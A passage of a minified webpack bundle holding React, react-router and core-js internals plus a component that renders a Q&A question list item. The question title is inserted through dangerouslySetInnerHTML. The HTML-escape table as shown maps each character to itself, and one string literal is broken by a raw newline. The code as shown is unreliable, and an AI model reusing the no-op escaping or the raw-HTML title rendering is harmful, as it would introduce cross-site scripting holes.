s=e._currentElement;if(n!==s||null==n._owner){"production"!==t.env.NODE_ENV&&a.checkAndWarnForMutatedProps(n);var c=o.shouldUpdateRefs(s,n);c&&o.detachRefs(e,s),e.receiveComponent(n,i,u),c&&i.getReactMountReady().enqueue(r,e)}},performUpdateIfNecessary:function(e,t){e.performUpdateIfNecessary(t)}};e.exports=i}).call(t,n(2))},function(e,t){e.exports=function(e){if("function"!=typeof e)throw TypeError(e+" is not a function!");return e}},function(e,t,n){var r=n(38),o=n(134),a=n(132),i=n(10),u=n(21),s=n(145);e.exports=function(e,t,n,c){var l,p,f,d=s(e),h=r(n,c,t?2:1),v=0;if("function"!=typeof d)throw TypeError(e+" is not iterable!");if(a(d))for(l=u(e.length);l>v;v++)t?h(i(p=e[v])[0],p[1]):h(e[v]);else for(f=d.call(e);!(p=f.next()).done;)o(f,h,p.value,t)}},function(e,t){e.exports={}},function(e,t,n){var r=n(20),o=n(23),a=n(14)("toStringTag");e.exports=function(e,t,n){e&&!r(e=n?e:e.prototype,a)&&o(e,a,t)}},function(e,t,n){var r=n(59),o=Math.max,a=Math.min;e.exports=function(e,t){return e=r(e),0>e?o(e+t,0):a(e,t)}},function(e,t){var n=Math.ceil,r=Math.floor;e.exports=function(e){return isNaN(e=+e)?0:(e>0?r:n)(e)}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function a(e){return o(e).replace(/\/+/g,"/+")}function i(e){for(var t,n="",r=[],o=[],i=0,u=/:([a-zA-Z_$][a-zA-Z0-9_$]*)|\*|\(|\)/g;t=u.exec(e);)t.index!==i&&(o.push(e.slice(i,t.index)),n+=a(e.slice(i,t.index))),t[1]?(n+="([^/?#]+)",r.push(t[1])):"*"===t[0]?(n+="([\\s\\S]*?)",r.push("splat")):"("===t[0]?n+="(?:":")"===t[0]&&(n+=")?"),o.push(t[0]),i=u.lastIndex;return i!==e.length&&(o.push(e.slice(i,e.length)),n+=a(e.slice(i,e.length))),{pattern:e,regexpSource:n,paramNames:r,tokens:o}}function u(e){return e in h||(h[e]=i(e)),h[e]}function s(e,t){var n=u(e),r=n.regexpSource,o=n.paramNames,a=n.tokens;r+="/*";var i="*"!==a[a.length-1];i&&(r+="([\\s\\S]*?)");var s,c,l=t.match(new RegExp("^"+r+"$","i"));return null!=l?(c=Array.prototype.slice.call(l,1).map(function(e){return null!=e?decodeURIComponent(e.replace(/\+/g,"%20")):e}),s=i?c.pop():t.replace(l[0],"")):s=c=null,{remainingPathname:s,paramNames:o,paramValues:c}}function c(e){return u(e).paramNames}function l(e,t){var n=s(e,t),r=n.paramNames,o=n.paramValues;return null!=o?r.reduce(function(e,t,n){return e[t]=o[n],e},{}):null}function p(e,t){t=t||{};for(var n,r,o,a=u(e),i=a.tokens,s=0,c="",l=0,p=0,f=i.length;f>p;++p)n=i[p],"*"===n?(o=Array.isArray(t.splat)?t.splat[l++]:t.splat,d["default"](null!=o||s>0,'Missing splat #%s for path "%s"',l,e),null!=o&&(c+=encodeURI(o).replace(/%20/g,"+"))):"("===n?s+=1:")"===n?s-=1:":"===n.charAt(0)?(r=n.substring(1),o=t[r],d["default"](null!=o||s>0,'Missing "%s" parameter for path "%s"',r,e),null!=o&&(c+=encodeURIComponent(o).replace(/%20/g,"+"))):c+=n;return c.replace(/\/+/g,"/")}t.__esModule=!0,t.compilePattern=u,t.matchPattern=s,t.getParamNames=c,t.getParams=l,t.formatPattern=p;var f=n(28),d=r(f),h={}},function(e,t){"use strict";t.__esModule=!0;var n="PUSH";t.PUSH=n;var r="REPLACE";t.REPLACE=r;var o="POP";t.POP=o,t["default"]={PUSH:n,REPLACE:r,POP:o}},function(e,t,n){(function(t){"use strict";function r(e,t){return null==t||o.hasBooleanValue[e]&&!t||o.hasNumericValue[e]&&isNaN(t)||o.hasPositiveNumericValue[e]&&1>t||o.hasOverloadedBooleanValue[e]&&t===!1}var o=n(46),a=n(432),i=n(8);if("production"!==t.env.NODE_ENV)var u={children:!0,dangerouslySetInnerHTML:!0,key:!0,ref:!0},s={},c=function(e){if(!(u.hasOwnProperty(e)&&u[e]||s.hasOwnProperty(e)&&s[e])){s[e]=!0;var n=e.toLowerCase(),r=o.isCustomAttribute(n)?n:o.getPossibleStandardName.hasOwnProperty(n)?o.getPossibleStandardName[n]:null;"production"!==t.env.NODE_ENV?i(null==r,"Unknown DOM property %s. Did you mean %s?",e,r):null}};var l={createMarkupForID:function(e){return o.ID_ATTRIBUTE_NAME+"="+a(e)},createMarkupForProperty:function(e,n){if(o.isStandardName.hasOwnProperty(e)&&o.isStandardName[e]){if(r(e,n))return"";var i=o.getAttributeName[e];return o.hasBooleanValue[e]||o.hasOverloadedBooleanValue[e]&&n===!0?i:i+"="+a(n)}return o.isCustomAttribute(e)?null==n?"":e+"="+a(n):("production"!==t.env.NODE_ENV&&c(e),null)},setValueForProperty:function(e,n,a){if(o.isStandardName.hasOwnProperty(n)&&o.isStandardName[n]){var i=o.getMutationMethod[n];if(i)i(e,a);else if(r(n,a))this.deleteValueForProperty(e,n);else if(o.mustUseAttribute[n])e.setAttribute(o.getAttributeName[n],""+a);else{var u=o.getPropertyName[n];o.hasSideEffects[n]&&""+e[u]==""+a||(e[u]=a)}}else o.isCustomAttribute(n)?null==a?e.removeAttribute(n):e.setAttribute(n,""+a):"production"!==t.env.NODE_ENV&&c(n)},deleteValueForProperty:function(e,n){if(o.isStandardName.hasOwnProperty(n)&&o.isStandardName[n]){var r=o.getMutationMethod[n];if(r)r(e,void 0);else if(o.mustUseAttribute[n])e.removeAttribute(o.getAttributeName[n]);else{var a=o.getPropertyName[n],i=o.getDefaultValueForProperty(e.nodeName,a);o.hasSideEffects[n]&&""+e[a]===i||(e[a]=i)}}else o.isCustomAttribute(n)?e.removeAttribute(n):"production"!==t.env.NODE_ENV&&c(n)}};e.exports=l}).call(t,n(2))},function(e,t,n){(function(t){"use strict";function r(){var e=f&&f.traverseTwoPhase&&f.traverseEnterLeave;"production"!==t.env.NODE_ENV?s(e,"InstanceHandle not injected before use!"):s(e)}var o=n(160),a=n(102),i=n(113),u=n(114),s=n(3),c={},l=null,p=function(e){if(e){var t=a.executeDispatch,n=o.getPluginModuleForEvent(e);n&&n.executeDispatch&&(t=n.executeDispatch),a.executeDispatchesInOrder(e,t),e.isPersistent()||e.constructor.release(e)}},f=null,d={injection:{injectMount:a.injection.injectMount,injectInstanceHandle:function(e){f=e,"production"!==t.env.NODE_ENV&&r()},getInstanceHandle:function(){return"production"!==t.env.NODE_ENV&&r(),f},injectEventPluginOrder:o.injectEventPluginOrder,injectEventPluginsByName:o.injectEventPluginsByName},eventNameDispatchConfigs:o.eventNameDispatchConfigs,registrationNameModules:o.registrationNameModules,putListener:function(e,n,r){"production"!==t.env.NODE_ENV?s(!r||"function"==typeof r,"Expected %s listener to be a function, instead got type %s",n,typeof r):s(!r||"function"==typeof r);var o=c[n]||(c[n]={});o[e]=r},getListener:function(e,t){var n=c[t];return n&&n[e]},deleteListener:function(e,t){var n=c[t];n&&delete n[e]},deleteAllListeners:function(e){for(var t in c)delete c[t][e]},extractEvents:function(e,t,n,r){for(var a,u=o.plugins,s=0,c=u.length;c>s;s++){var l=u[s];if(l){var p=l.extractEvents(e,t,n,r);p&&(a=i(a,p))}}return a},enqueueEvents:function(e){e&&(l=i(l,e))},processEventQueue:function(){var e=l;l=null,u(e,p),"production"!==t.env.NODE_ENV?s(!l,"processEventQueue(): Additional events were enqueued while processing an event queue. Support for this has not yet been implemented."):s(!l)},__purge:function(){c={}},__getListenerBank:function(){return c}};e.exports=d}).call(t,n(2))},function(e,t,n){(function(t){"use strict";function r(e,t,n){var r=t.dispatchConfig.phasedRegistrationNames[n];return m(e,r)}function o(e,n,o){if("production"!==t.env.NODE_ENV&&!e)throw new Error("Dispatching id must not be null");var a=n?v.bubbled:v.captured,i=r(e,o,a);i&&(o._dispatchListeners=d(o._dispatchListeners,i),o._dispatchIDs=d(o._dispatchIDs,e))}function a(e){e&&e.dispatchConfig.phasedRegistrationNames&&f.injection.getInstanceHandle().traverseTwoPhase(e.dispatchMarker,o,e)}function i(e,t,n){if(n&&n.dispatchConfig.registrationName){var r=n.dispatchConfig.registrationName,o=m(e,r);o&&(n._dispatchListeners=d(n._dispatchListeners,o),n._dispatchIDs=d(n._dispatchIDs,e))}}function u(e){e&&e.dispatchConfig.registrationName&&i(e.dispatchMarker,null,e)}function s(e){h(e,a)}function c(e,t,n,r){f.injection.getInstanceHandle().traverseEnterLeave(n,r,i,e,t)}function l(e){h(e,u)}var p=n(18),f=n(63),d=n(113),h=n(114),v=p.PropagationPhases,m=f.getListener,g={accumulateTwoPhaseDispatches:s,accumulateDirectDispatches:l,accumulateEnterLeaveDispatches:c};e.exports=g}).call(t,n(2))},function(e,t,n){(function(t){"use strict";function r(){if(E.current){var e=E.current.getName();if(e)return" Check the render method of `"+e+"`."}return""}function o(e){var t=e&&e.getPublicInstance();if(!t)return void 0;var n=t.constructor;return n?n.displayName||n.name||void 0:void 0}function a(){var e=E.current;return e&&o(e)||void 0}function i(e,t){e._store.validated||null!=e.key||(e._store.validated=!0,s('Each child in an array or iterator should have a unique "key" prop.',e,t))}function u(e,t,n){D.test(e)&&s("Child objects should have non-numeric keys so ordering is preserved.",t,n)}function s(e,n,r){var i=a(),u="string"==typeof r?r:r.displayName||r.name,s=i||u,c=w[e]||(w[e]={});if(!c.hasOwnProperty(s)){c[s]=!0;var l=i?" Check the render method of "+i+".":u?" Check the React.render call using <"+u+">.":"",p="";if(n&&n._owner&&n._owner!==E.current){var f=o(n._owner);p=" It was passed a child from "+f+"."}"production"!==t.env.NODE_ENV?O(!1,e+"%s%s See https://fb.me/react-warning-keys for more information.",l,p):null}}function c(e,t){if(Array.isArray(e))for(var n=0;n<e.length;n++){var r=e[n];v.isValidElement(r)&&i(r,t)}else if(v.isValidElement(e))e._store.validated=!0;else if(e){var o=_(e);if(o){if(o!==e.entries)for(var a,s=o.call(e);!(a=s.next()).done;)v.isValidElement(a.value)&&i(a.value,t)}else if("object"==typeof e){var c=m.extractIfFragment(e);for(var l in c)c.hasOwnProperty(l)&&u(l,c[l],t)}}}function l(e,n,o,a){for(var i in n)if(n.hasOwnProperty(i)){var u;try{"production"!==t.env.NODE_ENV?N("function"==typeof n[i],"%s: %s type `%s` is invalid; it must be a function, usually from React.PropTypes.",e||"React class",y[a],i):N("function"==typeof n[i]),u=n[i](o,i,e,a)}catch(s){u=s}if(u instanceof Error&&!(u.message in x)){x[u.message]=!0;var c=r(this);"production"!==t.env.NODE_ENV?O(!1,"Failed propType: %s%s",u.message,c):null}}}function p(e,n){var r=n.type,o="string"==typeof r?r:r.displayName,a=n._owner?n._owner.getPublicInstance().constructor.displayName:null,i=e+"|"+o+"|"+a;if(!C.hasOwnProperty(i)){C[i]=!0;var u="";o&&(u=" <"+o+" />");var s="";a&&(s=" The element was created by "+a+"."),"production"!==t.env.NODE_ENV?O(!1,"Don't set .props.%s of the React component%s. Instead, specify the correct value when initially creating the element or use React.cloneElement to make a new element with updated props.%s",e,u,s):null}}function f(e,t){return e!==e?t!==t:0===e&&0===t?1/e===1/t:e===t}function d(e){if(e._store){var t=e._store.originalProps,n=e.props;for(var r in n)n.hasOwnProperty(r)&&(t.hasOwnProperty(r)&&f(t[r],n[r])||(p(r,e),t[r]=n[r]))}}function h(e){if(null!=e.type){var n=b.getComponentClassForElement(e),r=n.displayName||n.name;n.propTypes&&l(r,n.propTypes,e.props,g.prop),"function"==typeof n.getDefaultProps&&("production"!==t.env.NODE_ENV?O(n.getDefaultProps.isReactClassApproved,"getDefaultProps is only used on classic React.createClass definitions. Use a static property named `defaultProps` instead."):null)}}var v=n(7),m=n(80),g=n(111),y=n(82),E=n(36),b=n(81),_=n(175),N=n(3),O=n(8),w={},x={},D=/^\d+$/,C={},P={checkAndWarnForMutatedProps:d,createElement:function(e,n,r){"production"!==t.env.NODE_ENV?O(null!=e,"React.createElement: type should not be null or undefined. It should be a string (for DOM elements) or a ReactClass (for composite components)."):null;var o=v.createElement.apply(this,arguments);if(null==o)return o;for(var a=2;a<arguments.length;a++)c(arguments[a],e);return h(o),o},createFactory:function(e){var n=P.createElement.bind(null,e);if(n.type=e,"production"!==t.env.NODE_ENV)try{Object.defineProperty(n,"type",{enumerable:!1,get:function(){return"production"!==t.env.NODE_ENV?O(!1,"Factory.type is deprecated. Access the class directly before passing it to createFactory."):null,Object.defineProperty(this,"type",{value:e}),e}})}catch(r){}return n},cloneElement:function(e,t,n){for(var r=v.cloneElement.apply(this,arguments),o=2;o<arguments.length;o++)c(arguments[o],r.type);return h(r),r}};e.exports=P}).call(t,n(2))},function(e,t,n){"use strict";function r(e,t,n){o.call(this,e,t,n)}var o=n(47),a=n(117),i={view:function(e){if(e.view)return e.view;var t=a(e);if(null!=t&&t.window===t)return t;var n=t.ownerDocument;return n?n.defaultView||n.parentWindow:window},detail:function(e){return e.detail||0}};o.augmentClass(r,i),e.exports=r},function(e,t,n){(function(t){"use strict";var r=n(3),o=function(e){var n,o={};"production"!==t.env.NODE_ENV?r(e instanceof Object&&!Array.isArray(e),"keyMirror(...): Argument must be an object."):r(e instanceof Object&&!Array.isArray(e));for(n in e)e.hasOwnProperty(n)&&(o[n]=n);return o};e.exports=o}).call(t,n(2))},function(e,t,n){var r=n(38),o=n(73),a=n(39),i=n(21);e.exports=function(e){var t=1==e,n=2==e,u=3==e,s=4==e,c=6==e,l=5==e||c;return function(p,f,d){for(var h,v,m=a(p),g=o(m),y=r(f,d,3),E=i(g.length),b=0,_=t?Array(E):n?[]:void 0;E>b;b++)if((l||b in g)&&(h=g[b],v=y(h,b,m),e))if(t)_[b]=v;else if(v)switch(e){case 3:return!0;case 5:return h;case 6:return b;case 2:_.push(h)}else if(s)return!1;return c?-1:u||s?s:_}}},function(e,t,n){var r=n(37),o=n(14)("toStringTag"),a="Arguments"==r(function(){return arguments}());e.exports=function(e){var t,n,i;return void 0===e?"Undefined":null===e?"Null":"string"==typeof(n=(t=Object(e))[o])?n:a?r(t):"Object"==(i=r(t))&&"function"==typeof t.callee?"Arguments":i}},function(e,t,n){"use strict";var r=n(11),o=n(1),a=n(55),i=n(76);e.exports=function(e,t,u,s,c,l){var p=r[e],f=p,d=c?"set":"add",h=f&&f.prototype,v={},m=function(e){var t=h[e];n(25)(h,e,"delete"==e?function(e){return t.call(this,0===e?0:e)}:"has"==e?function(e){return t.call(this,0===e?0:e)}:"get"==e?function(e){return t.call(this,0===e?0:e)}:"add"==e?function(e){return t.call(this,0===e?0:e),this}:function(e,n){return t.call(this,0===e?0:e,n),this})};if("function"==typeof f&&(l||h.forEach&&!n(13)(function(){(new f).entries().next()}))){var g,y=new f,E=y[d](l?{}:-0,1);n(89)(function(e){new f(e)})||(f=t(function(t,n){i(t,f,e);var r=new p;return void 0!=n&&a(n,c,r[d],r),r}),f.prototype=h,h.constructor=f),l||y.forEach(function(e,t){g=1/t===-(1/0)}),g&&(m("delete"),m("has"),c&&m("get")),(g||E!==y)&&m(d),l&&h.clear&&delete h.clear}else f=s.getConstructor(t,e,c,d),n(74)(f.prototype,u);return n(57)(f,e),v[e]=f,o(o.G+o.W+o.F*(f!=p),v),l||s.setStrong(f,e,c),f}},function(e,t,n){"use strict";e.exports=function(e,t,r){var o=n(32),a=n(14)(e),i=""[e];n(13)(function(){var t={};return t[a]=function(){return 7},7!=""[e](t)})&&(n(25)(String.prototype,e,r(o,a,i)),n(23)(RegExp.prototype,a,2==t?function(e,t){return i.call(e,this,t)}:function(e){return i.call(e,this)}))}},function(e,t){e.exports=function(e,t,n){var r=void 0===n;switch(t.length){case 0:return r?e():e.call(n);case 1:return r?e(t[0]):e.call(n,t[0]);case 2:return r?e(t[0],t[1]):e.call(n,t[0],t[1]);case 3:return r?e(t[0],t[1],t[2]):e.call(n,t[0],t[1],t[2]);case 4:return r?e(t[0],t[1],t[2],t[3]):e.call(n,t[0],t[1],t[2],t[3])}return e.apply(n,t)}},function(e,t,n){var r=n(37);e.exports=0 in Object("z")?Object:function(e){return"String"==r(e)?e.split(""):Object(e)}},function(e,t,n){var r=n(25);e.exports=function(e,t){for(var n in t)r(e,n,t[n]);return e}},function(e,t,n){"use strict";var r=n(4),o=n(14)("species");e.exports=function(e){!n(26)||o in e||r.setDesc(e,o,{configurable:!0,get:function(){return this}})}},function(e,t){e.exports=function(e,t,n){if(!(e instanceof t))throw TypeError(n+": use the 'new' operator!");return e}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{
"default":e}}function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function a(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(t,"__esModule",{value:!0});var i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),u=function(e,t,n){for(var r=!0;r;){var o=e,a=t,i=n;u=c=s=void 0,r=!1,null===o&&(o=Function.prototype);var u=Object.getOwnPropertyDescriptor(o,a);if(void 0!==u){if("value"in u)return u.value;var s=u.get;return void 0===s?void 0:s.call(i)}var c=Object.getPrototypeOf(o);if(null===c)return void 0;e=c,t=a,n=i,r=!0}},s=n(6),c=r(s),l=n(15),p=n(17),f=r(p),d=function(e){function t(){o(this,t),u(Object.getPrototypeOf(t.prototype),"constructor",this).apply(this,arguments)}return a(t,e),i(t,[{key:"render",value:function(){var e=this;return c["default"].createElement("div",{className:"questionListItem"},c["default"].createElement("div",{className:"questionStats"},c["default"].createElement("div",{className:"score"},c["default"].createElement("div",{className:"stat"},this.props.score),c["default"].createElement("div",{className:"title"},"score")),c["default"].createElement("div",{className:"answers"},c["default"].createElement("div",{className:"stat"},this.props.answer_count),c["default"].createElement("div",{className:"title"},"answers")),c["default"].createElement("div",{className:"views"},c["default"].createElement("div",{className:"stat"},this.props.view_count),c["default"].createElement("div",{className:"title"},"views"))),c["default"].createElement("div",{className:"questionBody"},c["default"].createElement("h3",null,c["default"].createElement(l.Link,{className:"questionLink",to:"/question/"+this.props.question_id,dangerouslySetInnerHTML:function(){return{__html:e.props.title}}()})),c["default"].createElement("div",{className:"tags"},f["default"](this.props,"tags",[]).map(function(e){return c["default"].createElement(l.Link,{className:"tagLink",to:"/tags/"+e},e)}))))}}]),t}(s.Component);t["default"]=d,d.propTypes={},e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e){var t=e.match(/https?:\/\/[^\/]*/);return null==t?e:(u["default"](!1,'Location path must be pathname + query string only, not a fully qualified URL like "%s"',e),e.substring(t[0].length))}function a(){var e=arguments.length<=0||void 0===arguments[0]?"/":arguments[0],t=arguments.length<=1||void 0===arguments[1]?null:arguments[1],n=arguments.length<=2||void 0===arguments[2]?s.POP:arguments[2],r=arguments.length<=3||void 0===arguments[3]?null:arguments[3];e=o(e);var a=e,i="",u="",c=a.indexOf("#");-1!==c&&(u=a.substring(c),a=a.substring(0,c));var l=a.indexOf("?");return-1!==l&&(i=a.substring(l),a=a.substring(0,l)),""===a&&(a="/"),{pathname:a,search:i,hash:u,state:t,action:n,key:r}}t.__esModule=!0;var i=n(33),u=r(i),s=n(61);t["default"]=a,e.exports=t["default"]},function(e,t,n){"use strict";var r=n(173),o={componentDidMount:function(){this.props.autoFocus&&r(this.getDOMNode())}};e.exports=o},function(e,t,n){(function(t){"use strict";var r=n(7),o=n(8);if("production"!==t.env.NODE_ENV){var a="_reactFragment",i="_reactDidWarn",u=!1;try{var s=function(){return 1};Object.defineProperty({},a,{enumerable:!1,value:!0}),Object.defineProperty({},"key",{enumerable:!0,get:s}),u=!0}catch(c){}var l=function(e,n){Object.defineProperty(e,n,{enumerable:!0,get:function(){return"production"!==t.env.NODE_ENV?o(this[i],"A ReactFragment is an opaque type. Accessing any of its properties is deprecated. Pass it to one of the React.Children helpers."):null,this[i]=!0,this[a][n]},set:function(e){"production"!==t.env.NODE_ENV?o(this[i],"A ReactFragment is an immutable opaque type. Mutating its properties is deprecated."):null,this[i]=!0,this[a][n]=e}})},p={},f=function(e){var t="";for(var n in e)t+=n+":"+typeof e[n]+",";var r=!!p[t];return p[t]=!0,r}}var d={create:function(e){if("production"!==t.env.NODE_ENV){if("object"!=typeof e||!e||Array.isArray(e))return"production"!==t.env.NODE_ENV?o(!1,"React.addons.createFragment only accepts a single object.",e):null,e;if(r.isValidElement(e))return"production"!==t.env.NODE_ENV?o(!1,"React.addons.createFragment does not accept a ReactElement without a wrapper object."):null,e;if(u){var n={};Object.defineProperty(n,a,{enumerable:!1,value:e}),Object.defineProperty(n,i,{writable:!0,enumerable:!1,value:!1});for(var s in e)l(n,s);return Object.preventExtensions(n),n}}return e},extract:function(e){return"production"!==t.env.NODE_ENV&&u?e[a]?e[a]:("production"!==t.env.NODE_ENV?o(f(e),"Any use of a keyed object should be wrapped in React.addons.createFragment(object) before being passed as a child."):null,e):e},extractIfFragment:function(e){if("production"!==t.env.NODE_ENV&&u){if(e[a])return e[a];for(var n in e)if(e.hasOwnProperty(n)&&r.isValidElement(e[n]))return d.extract(e)}return e}};e.exports=d}).call(t,n(2))},function(e,t,n){(function(t){"use strict";function r(e){if("function"==typeof e.type)return e.type;var t=e.type,n=p[t];return null==n&&(p[t]=n=c(t)),n}function o(e){return"production"!==t.env.NODE_ENV?s(l,"There is no registered component for the tag %s",e.type):s(l),new l(e.type,e.props)}function a(e){return new f(e)}function i(e){return e instanceof f}var u=n(5),s=n(3),c=null,l=null,p={},f=null,d={injectGenericComponentClass:function(e){l=e},injectTextComponentClass:function(e){f=e},injectComponentClasses:function(e){u(p,e)},injectAutoWrapper:function(e){c=e}},h={getComponentClassForElement:r,createInternalComponent:o,createInstanceForText:a,isTextComponent:i,injection:d};e.exports=h}).call(t,n(2))},function(e,t,n){(function(t){"use strict";var n={};"production"!==t.env.NODE_ENV&&(n={prop:"prop",context:"context",childContext:"child context"}),e.exports=n}).call(t,n(2))},function(e,t,n){"use strict";function r(e,t,n){o.call(this,e,t,n)}var o=n(66),a=n(170),i=n(116),u={screenX:null,screenY:null,clientX:null,clientY:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,getModifierState:i,button:function(e){var t=e.button;return"which"in e?t:2===t?2:4===t?1:0},buttons:null,relatedTarget:function(e){return e.relatedTarget||(e.fromElement===e.srcElement?e.toElement:e.fromElement)},pageX:function(e){return"pageX"in e?e.pageX:e.clientX+a.currentScrollLeft},pageY:function(e){return"pageY"in e?e.pageY:e.clientY+a.currentScrollTop}};o.augmentClass(r,u),e.exports=r},function(e,t,n){(function(t){"use strict";var r=n(3),o={reinitializeTransaction:function(){this.transactionWrappers=this.getTransactionWrappers(),this.wrapperInitData?this.wrapperInitData.length=0:this.wrapperInitData=[],this._isInTransaction=!1},_isInTransaction:!1,getTransactionWrappers:null,isInTransaction:function(){return!!this._isInTransaction},perform:function(e,n,o,a,i,u,s,c){"production"!==t.env.NODE_ENV?r(!this.isInTransaction(),"Transaction.perform(...): Cannot initialize a transaction when there is already an outstanding transaction."):r(!this.isInTransaction());var l,p;try{this._isInTransaction=!0,l=!0,this.initializeAll(0),p=e.call(n,o,a,i,u,s,c),l=!1}finally{try{if(l)try{this.closeAll(0)}catch(f){}else this.closeAll(0)}finally{this._isInTransaction=!1}}return p},initializeAll:function(e){for(var t=this.transactionWrappers,n=e;n<t.length;n++){var r=t[n];try{this.wrapperInitData[n]=a.OBSERVED_ERROR,this.wrapperInitData[n]=r.initialize?r.initialize.call(this):null}finally{if(this.wrapperInitData[n]===a.OBSERVED_ERROR)try{this.initializeAll(n+1)}catch(o){}}}},closeAll:function(e){"production"!==t.env.NODE_ENV?r(this.isInTransaction(),"Transaction.closeAll(): Cannot close transaction when none are open."):r(this.isInTransaction());for(var n=this.transactionWrappers,o=e;o<n.length;o++){var i,u=n[o],s=this.wrapperInitData[o];try{i=!0,s!==a.OBSERVED_ERROR&&u.close&&u.close.call(this,s),i=!1}finally{if(i)try{this.closeAll(o+1)}catch(c){}}}this.wrapperInitData.length=0}},a={Mixin:o,OBSERVED_ERROR:{}};e.exports=a}).call(t,n(2))},function(e,t,n){(function(t){"use strict";var n={};"production"!==t.env.NODE_ENV&&Object.freeze(n),e.exports=n}).call(t,n(2))},function(e,t){"use strict";function n(e){return o[e]}function r(e){return(""+e).replace(a,n)}var o={"&":"&",">":">","<":"<",'"':""","'":"'"},a=/[&><"']/g;e.exports=r},function(e,t){e.exports=Math.expm1||function(e){return 0==(e=+e)?e:e>-1e-6&&1e-6>e?e+e*e/2:Math.exp(e)-1}},function(e,t,n){"use strict";var r=n(90),o=n(1),a=n(25),i=n(23),u=n(20),s=n(14)("iterator"),c=n(56),l=!([].keys&&"next"in[].keys()),p="@@iterator",f="keys",d="values",h=function(){return this};e.exports=function(e,t,v,m,g,y,E){n(135)(v,t,m);var b,_,N=function(e){switch(e){case f:return function(){return new v(this,e)};case d:return function(){return new v(this,e)}}return function(){return new v(this,e)}},O=t+" Iterator",w=e.prototype,x=w[s]||w[p]||g&&w[g],D=x||N(g);if(x){var C=n(4).getProto(D.call(new e));n(57)(C,O,!0),!r&&u(w,p)&&i(C,s,h)}if((!r||E)&&i(w,s,D),c[t]=D,c[O]=h,g)if(b={keys:y?D:N(f),values:g==d?D:N(d),entries:g!=d?D:N("entries")},E)for(_ in b)_ in w||a(w,_,b[_]);else o(o.P+o.F*l,t,b)}},function(e,t,n){var r=n(14)("iterator"),o=!1;try{var a=[7][r]();a["return"]=function(){o=!0},Array.from(a,function(){throw 2})}catch(i){}e.exports=function(e){if(!o)return!1;var t=!1;try{var n=[7],a=n[r]();a.next=function(){t=!0},n[r]=function(){return a},e(n)}catch(i){}return t}},function(e,t){e.exports=!1},function(e,t,n){var r=n(4).getDesc,o=n(9),a=n(10),i=function(e,t){if(a(e),!o(t)&&null!==t)throw TypeError(t+": can't set as prototype!")};e.exports={set:Object.setPrototypeOf||("__proto__"in{}?function(e,t){try{t=n(38)(Function.call,r(Object.prototype,"__proto__").set,2),t({},[])}catch(o){e=!0}return function(n,r){return i(n,r),e?n.__proto__=r:t(n,r),n}}():void 0),check:i}},function(e,t){e.exports=Math.sign||function(e){return 0==(e=+e)||e!=e?e:0>e?-1:1}},function(e,t,n){var r=n(59),o=n(32);e.exports=function(e){return function(t,n){var a,i,u=String(o(t)),s=r(n),c=u.length;return 0>s||s>=c?e?"":void 0:(a=u.charCodeAt(s),55296>a||a>56319||s+1===c||(i=u.charCodeAt(s+1))<56320||i>57343?e?u.charAt(s):a:e?u.slice(s,s+2):(a-55296<<10)+(i-56320)+65536)}}},function(e,t,n){var r=n(32),o=n(37);e.exports=function(e,t,n){if("RegExp"==o(t))throw TypeError("String#"+n+" doesn't accept regex!");return String(r(e))}},function(e,t,n){var r=function(e,t){return e=String(a(e)),1&t&&(e=e.replace(c,"")),2&t&&(e=e.replace(l,"")),e},o=n(1),a=n(32),i=" \n\f\r \u2028\u2029\ufeff",u="["+i+"]",s="
",c=RegExp("^"+u+u+"*"),l=RegExp(u+u+"*$");e.exports=function(e,t){var a={};a[e]=t(r),o(o.P+o.F*n(13)(function(){return!!i[e]()||s[e]()!=s}),"String",a)}},function(e,t){"use strict";t.__esModule=!0;var n="PUSH";t.PUSH=n;var r="REPLACE";t.REPLACE=r;var o="POP";t.POP=o,t["default"]={PUSH:n,REPLACE:r,POP:o}},function(e,t,n){(function(t){"use strict";var n=function(e,n,r,o,a,i,u,s){if("production"!==t.env.NODE_ENV&&void 0===n)throw new Error("invariant requires an error message argument");if(!e){var c;if(void 0===n)c=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var l=[r,o,a,i,u,s],p=0;c=new Error("Invariant Violation: "+n.replace(/%s/g,function(){return l[p++]}))}throw c.framesToPop=1,c}};e.exports=n}).call(t,n(2))},function(e,t,n){(function(t){"use strict";var n=function(){};"production"!==t.env.NODE_ENV&&(n=function(e,t,n){var r=arguments.length;n=new Array(r>2?r-2:0);for(var o=2;r>o;o++)n[o-2]=arguments[o];if(void 0===t)throw new Error("`warning(condition, format, ...args)` requires a warning message argument");if(t.length<10||/^[s\W]*$/.test(t))throw new Error("The warning format should be able to uniquely identify this warning. Please, use a more descriptive format than: "+t);if(!e){var a=0,i="Warning: "+t.replace(/%s/g,function(){return n[a++]});"undefined"!=typeof console&&console.error(i);try{throw new Error(i)}catch(u){}}}),e.exports=n}).call(t,n(2))},function(e,t){"use strict";function n(e,t,n){function r(){i=!0,n.apply(this,arguments)}function o(){i||(e>a?t.call(this,a++,o,r):r.apply(this,arguments))}var a=0,i=!1;o()}function r(e,t,n){function r(e,t,r){i||(t?(i=!0,n(t)):(a[e]=r,i=++u===o,i&&n(null,a)))}var o=e.length,a=[];if(0===o)return n(null,a);var i=!1,u=0;e.forEach(function(e,n){t(e,n,function(e,t){r(n,e,t)})})}t.__esModule=!0,t.loopAsync=n,t.mapAsync=r},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function a(e){for(var t in e)if(e.hasOwnProperty(t))return!0;return!1}function i(e){return function(){function t(e,t){var n=arguments.length<=2||void 